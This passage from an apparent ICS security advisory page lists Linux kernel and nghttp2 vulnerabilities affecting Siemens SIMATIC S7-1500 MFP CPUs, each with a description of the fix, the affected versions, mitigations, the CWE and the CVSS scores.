put_device+0x17/0x20 scsi_device_put+0x7f/0xc0 [scsi_mod] sdev_store_delete+0xa5/0x120 [scsi_mod] dev_attr_store+0x43/0x80 sysfs_kf_write+0xde/0x140 kernfs_fop_write_iter+0x3ef/0x670 vfs_write+0x506/0x1470 ksys_write+0xfd/0x230 __x64_sys_write+0x76/0xc0 x64_sys_call+0x213/0x1810</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23452">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/364.html">CWE-364 Signal Handler Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23454</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: mana: fix use-after-free in mana_hwc_destroy_channel() by reordering teardown A potential race condition exists in mana_hwc_destroy_channel() where hwc-&gt;caller_ctx is freed before the HWC's Completion Queue (CQ) and Event Queue (EQ) are destroyed. This allows an in-flight CQ interrupt handler to dereference freed memory, leading to a use-after-free or NULL pointer dereference in mana_hwc_handle_resp(). mana_smc_teardown_hwc() signals the hardware to stop but does not synchronize against IRQ handlers already executing on other CPUs. The IRQ synchronization only happens in mana_hwc_destroy_cq() via mana_gd_destroy_eq() -&gt; mana_gd_deregister_irq(). Since this runs after kfree(hwc-&gt;caller_ctx), a concurrent mana_hwc_rx_event_handler() can dereference freed caller_ctx (and rxq-&gt;msg_buf) in mana_hwc_handle_resp(). Fix this by reordering teardown to reverse-of-creation order: destroy the TX/RX work queues and CQ/EQ before freeing hwc-&gt;caller_ctx. This ensures all in-flight interrupt handlers complete before the memory they access is freed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23454">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23455</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_h323: check for zero length in DecodeQ931() In DecodeQ931(), the UserUserIE code path reads a 16-bit length from the packet, then decrements it by 1 to skip the protocol discriminator byte before passing it to DecodeH323_UserInformation(). If the encoded length is 0, the decrement wraps to -1, which is then passed as a large value to the decoder, leading to an out-of-bounds read. Add a check to ensure len is positive after the decrement.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23455">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.1</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23456</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_h323: fix OOB read in decode_int() CONS case In decode_int(), the CONS case calls get_bits(bs, 2) to read a length value, then calls get_uint(bs, len) without checking that len bytes remain in the buffer. The existing boundary check only validates the 2 bits for get_bits(), not the subsequent 1-4 bytes that get_uint() reads. This allows a malformed H.323/RAS packet to cause a 1-4 byte slab-out-of-bounds read. Add a boundary check for len bytes after get_bits() and before get_uint().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23456">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23457</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_sip: fix Content-Length u32 truncation in sip_help_tcp() sip_help_tcp() parses the SIP Content-Length header with simple_strtoul(), which returns unsigned long, but stores the result in unsigned int clen. On 64-bit systems, values exceeding UINT_MAX are silently truncated before computing the SIP message boundary. For example, Content-Length 4294967328 (2^32 + 32) is truncated to 32, causing the parser to miscalculate where the current message ends. The loop then treats trailing data in the TCP segment as a second SIP message and processes it through the SDP parser. Fix this by changing clen to unsigned long to match the return type of simple_strtoul(), and reject Content-Length values that exceed the remaining TCP payload length.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23457">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/681.html">CWE-681 Incorrect Conversion between Numeric Types</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23458</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: fix use-after-free in ctnetlink_dump_exp_ct() ctnetlink_dump_exp_ct() stores a conntrack pointer in cb-&gt;data for the netlink dump callback ctnetlink_exp_ct_dump_table(), but drops the conntrack reference immediately after netlink_dump_start(). When the dump spans multiple rounds, the second recvmsg() triggers the dump callback which dereferences the now-freed conntrack via nfct_help(ct), leading to a use-after-free on ct-&gt;ext. The bug is that the netlink_dump_control has no .start or .done callbacks to manage the conntrack reference across dump rounds. Other dump functions in the same file (e.g. ctnetlink_get_conntrack) properly use .start/.done callbacks for this purpose. Fix this by adding .start and .done callbacks that hold and release the conntrack reference for the duration of the dump, and move the nfct_help() call after the cb-&gt;args[0] early-return check in the dump callback to avoid dereferencing ct-&gt;ext unnecessarily. BUG: KASAN: slab-use-after-free in ctnetlink_exp_ct_dump_table+0x4f/0x2e0 Read of size 8 at addr ffff88810597ebf0 by task ctnetlink_poc/133 CPU: 1 UID: 0 PID: 133 Comm: ctnetlink_poc Not tainted 7.0.0-rc2+ #3 PREEMPTLAZY Call Trace: ctnetlink_exp_ct_dump_table+0x4f/0x2e0 netlink_dump+0x333/0x880 netlink_recvmsg+0x3e2/0x4b0 ? aa_sk_perm+0x184/0x450 sock_recvmsg+0xde/0xf0 Allocated by task 133: kmem_cache_alloc_noprof+0x134/0x440 __nf_conntrack_alloc+0xa8/0x2b0 ctnetlink_create_conntrack+0xa1/0x900 ctnetlink_new_conntrack+0x3cf/0x7d0 nfnetlink_rcv_msg+0x48e/0x510 netlink_rcv_skb+0xc9/0x1f0 nfnetlink_rcv+0xdb/0x220 netlink_unicast+0x3ec/0x590 netlink_sendmsg+0x397/0x690 __sys_sendmsg+0xf4/0x180 Freed by task 0: slab_free_after_rcu_debug+0xad/0x1e0 rcu_core+0x5c3/0x9c0</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23458">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23463</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: soc: fsl: qbman: fix race condition in qman_destroy_fq When QMAN_FQ_FLAG_DYNAMIC_FQID is set, there's a race condition between fq_table[fq-&gt;idx] state and freeing/allocating from the pool and WARN_ON(fq_table[fq-&gt;idx]) in qman_create_fq() gets triggered. Indeed, we can have: Thread A Thread B qman_destroy_fq() qman_create_fq() qman_release_fqid() qman_shutdown_fq() gen_pool_free() -- At this point, the fqid is available again -- qman_alloc_fqid() -- so, we can get the just-freed fqid in thread B -- fq-&gt;fqid = fqid; fq-&gt;idx = fqid * 2; WARN_ON(fq_table[fq-&gt;idx]); fq_table[fq-&gt;idx] = fq; fq_table[fq-&gt;idx] = NULL; And adding some logs between qman_release_fqid() and fq_table[fq-&gt;idx] = NULL makes the WARN_ON() trigger a lot more. To prevent that, ensure that fq_table[fq-&gt;idx] is set to NULL before gen_pool_free() is called by using smp_wmb().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23463">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/367.html">CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23474</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mtd: Avoid boot crash in RedBoot partition table parser Given CONFIG_FORTIFY_SOURCE=y and a recent compiler, commit 439a1bcac648 ("fortify: Use __builtin_dynamic_object_size() when available") produces the warning below and an oops. Searching for RedBoot partition table in 50000000.flash at offset 0x7e0000 ------------[ cut here ]------------ WARNING: lib/string_helpers.c:1035 at 0xc029e04c, CPU#0: swapper/0/1 memcmp: detected buffer overflow: 15 byte read of buffer size 14 Modules linked in: CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 6.19.0 #1 NONE As Kees said, "'names' is pointing to the final 'namelen' many bytes of the allocation ... 'namelen' could be basically any length at all. This fortify warning looks legit to me -- this code used to be reading beyond the end of the allocation." Since the size of the dynamic allocation is calculated with strlen() we can use strcmp() instead of memcmp() and remain within bounds.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23474">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/805.html">CWE-805 Buffer Access with Incorrect Length Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23475</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: spi: fix statistics allocation The controller per-cpu statistics is not allocated until after the controller has been registered with driver core, which leaves a window where accessing the sysfs attributes can trigger a NULL-pointer dereference. Fix this by moving the statistics allocation to controller allocation while tying its lifetime to that of the controller (rather than using implicit devres).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23475">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/824.html">CWE-824 Access of Uninitialized Pointer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-27135</a></h3>
<div class="csaf-accordion-content">
<p>nghttp2 is an implementation of the Hypertext Transfer Protocol version 2 in C. Prior to version 1.68.1, the nghttp2 library stops reading the incoming data when user facing public API `nghttp2_session_terminate_session` or `nghttp2_session_terminate_session2` is called by the application. They might be called internally by the library when it detects the situation that is subject to connection error. Due to the missing internal state validation, the library keeps reading the rest of the data after one of those APIs is called. Then receiving a malformed frame that causes FRAME_SIZE_ERROR causes assertion failure. nghttp2 v1.68.1 adds missing state validation to avoid assertion failure. No known workarounds are available.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-27135">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
